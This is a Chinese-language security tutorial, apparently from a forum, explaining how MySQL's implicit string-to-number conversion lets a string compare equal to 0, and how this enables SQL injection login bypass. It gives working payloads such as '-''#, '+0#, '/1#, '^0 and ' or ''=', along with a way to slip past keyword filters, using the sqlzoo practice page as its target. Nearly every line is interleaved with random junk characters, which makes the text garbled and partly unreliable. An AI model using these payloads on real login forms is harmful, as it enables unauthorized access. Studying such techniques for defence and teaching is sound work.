我们先来看这样一个场景。 G" L, `1 c `% k7 W& i
有以下表结构:
' R# p1 a2 H8 q( ^( {: k6 X6 A& a
6 v! A4 F7 Q `# xmysql> desc admin;
1 R6 {( X; u% v8 M% e+----------+--------------+------+-----+---------+----------------+( l3 M2 d- ^( _, ^0 s
| Field | Type | Null | Key | Default | Extra |
6 K5 \( X) V- j3 X% e+----------+--------------+------+-----+---------+----------------+
c( ^$ e2 B' \| id | mediumint(9) | NO | PRI | NULL | auto_increment |- T c' ^2 c9 k. F- r4 @
| name | char(32) | NO | UNI | NULL | |4 O( }: ^$ t; G# L
| password | char(32) | NO | UNI | NULL | |. M6 E) B Z0 c$ e0 k0 c2 M
+----------+--------------+------+-----+---------+----------------+" H9 q/ m q r2 q& W6 ~
3 rows in set (0.00 sec)( ]# n7 |/ O: g$ M2 j2 x+ U6 N* }
执行select * from admin;,成功返回所有记录内容。# [' W: S) B4 f& F+ H4 u
) t( @8 X: x) a1 N8 ^: k ?
7 u- E% K/ W) ~7 z- f8 G. k7 S. g2 h+----+--------+----------------------------------+' }4 A! n* Y# M+ I( V7 \: r/ Q
| id | name | password |7 Q! u, B+ h7 H) x/ y7 x1 ~3 H
+----+--------+----------------------------------++ M. M. |$ U4 b5 m/ Q
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
8 u9 Q' X7 M( [ n: g: @4 ]| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |+ a8 d" @$ r6 ~$ d, }
| 4 | n00b | ff80e8508d39047460921792273533a4 |
1 T; e/ ], d! F: }$ {% H: s( x+----+--------+----------------------------------+% e% H# Q/ A3 [2 m, j8 \& L
3 rows in set (0.00 sec)
" c; s+ ]" Z5 t0 z' z; E0 _执行select * from admin where name=”;,没有匹配到任何记录。 1 `3 I9 ]3 A# C6 L- |4 R8 J- g- E7 v
! V- n# C$ {5 K0 v0 j
mysql> select * from admin where name = '';. `: U2 T' l: }; R# |
Empty set (0.00 sec)
4 K% o0 W8 o! z那么我们来执行select * from admin where name = ”-”;! @: N2 D. f: i$ x- \
& P2 r# C3 G! V& L6 h& W T2 g i( t7 H
+----+--------+----------------------------------+( B7 y2 T2 G* }
| id | name | password |# o1 c9 v; |" P0 [8 C5 [7 \! u
+----+--------+----------------------------------++ V, R, b; u9 A/ m
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
2 a0 j% \' f9 D6 w1 w# k| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* @# `2 [3 O; w2 Y- x" b e! R f| 4 | n00b | ff80e8508d39047460921792273533a4 |
) \. u/ }' }. D; }9 K+----+--------+----------------------------------+
2 J* m* n/ f6 b1 u( o# d3 rows in set, 3 warnings (0.00 sec), r' Z! E% k& ^( a8 w+ P! e/ S
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 3 ~. }( Q" g& [, D% _
+ h9 ?$ G" A) T) ^3 A" F& e- G. a
mysql> show warnings;- U# g5 V+ R) _6 a- ^; K" y. f
+---------+------+------------------------------------------$ i. c6 }- V) }( q$ m
| Level | Code | Message1 o. L* B. v7 }* A( v! s
+---------+------+------------------------------------------
" C& ?& f5 o3 Y7 H2 @: Z) Q- E| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
7 e6 c+ Y: G) L3 U \/ E; I| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
+ Q @* W4 n/ x; v8 A| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
' n5 d3 f8 A9 ?0 C3 j+---------+------+------------------------------------------
! O3 _8 a' Y8 ^& W% v7 j3 rows in set (0.00 sec)
; k! R& Y6 C1 _3 x$ o提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
. @6 @0 h' S. H3 l6 W0 s
" }3 g! U% I X+ g- W! lmysql> select ''-'';* x% ]$ g6 K( y
+-------+& o; q9 h# l' u' u# c" O! Q
| ''-'' |! h6 r3 w3 E* C, T) t, K; k
+-------+
; [& ?8 W; G. d$ G; N" D) Y% f| 0 |
5 g# v# G" u2 V3 b0 Y8 g; A0 Y+-------+) V/ O9 S: j- D& W+ P0 }
1 row in set (0.00 sec)9 g* { z" T- V' U# o/ D) z7 N9 i
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
! C9 r. r3 h' Z1 u( Z$ w8 G! g' \' b) q
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);9 m1 A' n1 P1 J: |( f. ?7 L
+-----------------------------------------------------+
3 n }& c2 [ _6 _. l T G| CAST((select name from admin limit 1,1) as DECIMAL) |0 ~- o; D F/ r, u( \4 B/ k& N
+-----------------------------------------------------+
5 A, M+ q2 @! Q c| 0 |, R6 I2 k2 U/ h L; j2 b, i' @+ ^* b
+-----------------------------------------------------+
$ q! D7 E4 |* ?8 a C1 L1 row in set, 1 warning (0.00 sec)
- E: a% N, U# q7 r3 n0 |/ M因此where语句构成了相等的条件,where 0=”=”,记录被返回。
/ A) ~) s/ `( V! x8 o8 `% C( V/ ?3 _8 W: U& W; L/ v! C
SQL注入场景: http://www.sqlzoo.net/hack/ ! R* p; \/ I3 c" F. Q& \
, l; ?: |. i3 p" ]6 r3 U2 g
6 g# t$ A8 N2 u' K& Q+ m* g& X. t, N" d
/ \, [5 @/ I( Q* W# p0 v# L. }' Z
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 $ l5 p9 g) D8 e2 }5 x9 s% r! u
" x5 X6 F7 H: K3 E0 X' V: F( S8 ?
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 " X! C6 c3 [6 G' B
+ X( j) M1 C( j! @2 k. W w4 l1 a1 s! e @- s& v2 @5 ~% c1 {, k
' k: P% L4 R5 z$ |* u
( }; r9 K" i1 ^' w! _7 C2 t" X
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 ( \0 q1 o4 S6 e
& U8 R: K; V. g }
3 v1 P. b. g5 `
7 T% p; H5 Y" t5 g9 g# R# X3 x
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
8 y: n8 m7 Z0 d3 ~) [' ~/ D \4 G. |0 q9 U
% ] x1 Y; {5 F& _$ F% P( c& a2 z
mysql> select ''/1;; k' k" Q4 T$ l$ s
+------+
) Q) u- j$ x! H- U| ''/1 |
7 p; b* `, x3 d4 X" R+------+
, p! p4 r% I. S3 G. _| 0 |3 v# F5 q% Y* A$ [9 l( L+ [ `+ l
+------+
, v H4 Q! d* T. X1 row in set (0.00 sec)% n3 K5 t) D9 D9 y, _$ ?/ Z
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
5 M+ B, D* c8 x: ~, @9 X$ |. G3 A0 Q( s6 P
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
4 s6 V( x* j$ l( \ |
|